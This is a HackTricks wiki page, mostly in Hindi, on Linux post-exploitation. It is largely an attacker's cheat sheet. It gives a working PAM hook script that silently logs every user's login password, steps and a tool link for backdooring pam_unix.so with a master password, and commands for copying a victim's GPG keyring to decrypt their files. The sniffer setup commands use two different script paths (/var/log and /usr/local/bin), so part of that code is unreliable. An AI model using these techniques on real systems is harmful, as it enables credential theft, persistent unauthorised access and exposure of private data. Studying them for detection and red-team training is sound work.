Linux Post-Exploitation

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Sniffing Logon Passwords with PAM

आइए एक PAM मॉड्यूल कॉन्फ़िगर करें जो प्रत्येक उपयोगकर्ता द्वारा login के लिए उपयोग किया गया हर password लॉग करे। यदि आप नहीं जानते कि PAM क्या है तो देखें:

PAM - Pluggable Authentication Modules

For further details check the original post. यह केवल सारांश है:

Technique Overview:
Pluggable Authentication Modules (PAM) Unix-आधारित सिस्टम पर authentication को प्रबंधित करने में लचीलापन प्रदान करते हैं। ये login प्रक्रियाओं को अनुकूलित करके सुरक्षा बढ़ा सकते हैं, लेकिन दुरुपयोग होने पर जोखिम भी उत्पन्न कर सकते हैं। यह सारांश PAM का उपयोग करके login credentials को capture करने की एक technique और साथ में mitigation strategies को संक्षेप में बताता है।

Capturing Credentials:

  • एक bash स्क्रिप्ट toomanysecrets.sh बनाई जाती है जो login attempts को लॉग करने के लिए date, username ($PAM_USER), password (stdin के जरिए), और remote host IP ($PAM_RHOST) को /var/log/toomanysecrets.log में capture करती है।
  • स्क्रिप्ट को executable बनाया जाता है और pam_exec.so module का उपयोग करके PAM configuration (common-auth) में integrate किया जाता है, विकल्पों के साथ ताकि यह चुपचाप चले और authentication token को स्क्रिप्ट के लिए expose किया जा सके।
  • यह तरीका दिखाता है कि कैसे एक compromised Linux host को exploit करके credentials को गुप्त रूप से log किया जा सकता है।
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

अधिक जानकारी के लिए original post देखें। यह केवल एक सारांश है:

Pluggable Authentication Module (PAM) Linux के अंतर्गत उपयोगकर्ता प्रमाणीकरण के लिए उपयोग की जाने वाली एक प्रणाली है। यह तीन मुख्य अवधारणाओं पर काम करता है: username, password, और service। प्रत्येक सेवा के लिए configuration files /etc/pam.d/ डायरेक्टरी में स्थित होती हैं, जहाँ shared libraries प्रमाणीकरण को संभालती हैं।

उद्देश्य: PAM को इस तरह संशोधित करना कि एक निर्दिष्ट password के साथ authentication की अनुमति दे, वास्तविक उपयोगकर्ता पासवर्ड को बाइपास करते हुए। यह विशेष रूप से pam_unix.so shared library पर केंद्रित है जिसका उपयोग common-auth फ़ाइल द्वारा किया जाता है, जिसे password verification के लिए लगभग सभी सेवाओं में शामिल किया जाता है।

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • वह लाइन जो उपयोगकर्ता का password जाँचती है, pam_unix.so को कॉल करती है।
  1. Modify Source Code:
  • pam_unix_auth.c source फ़ाइल में एक conditional statement जोड़ें जो यदि predefined password इस्तेमाल किया गया हो तो access दे दे; अन्यथा सामान्य authentication प्रक्रिया जारी रहे।
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • predefined password के साथ विभिन्न सेवाओं (login, ssh, sudo, su, screensaver) में access मिलती है, जबकि सामान्य authentication प्रक्रियाएँ प्रभावित नहीं होतीं।

tip

आप इस प्रक्रिया को https://github.com/zephrax/linux-pam-backdoor के साथ स्वचालित कर सकते हैं

Homedir relocation के माध्यम से GPG loot को Decrypt करना

यदि आप एक encrypted .gpg फ़ाइल और किसी उपयोगकर्ता का ~/.gnupg फ़ोल्डर (pubring, private-keys, trustdb) पाते हैं लेकिन GnuPG homedir permissions/locks के कारण decrypt नहीं कर पा रहे हैं, तो keyring को किसी writable location पर कॉपी करें और उसे अपना GPG home के रूप में उपयोग करें।

बिना इस कदम के आम त्रुटियाँ जो दिखाई देंगी: "unsafe ownership on homedir", "failed to create temporary file", या "decryption failed: No secret key" (क्योंकि GPG मूल homedir को पढ़/लिख नहीं सकता)।

Workflow:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

यदि गुप्त कुंजी सामग्री private-keys-v1.d में मौजूद है, तो GPG बिना passphrase के पूछे unlock और decrypt कर देगा (या यदि key protected है तो यह prompt करेगा)।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें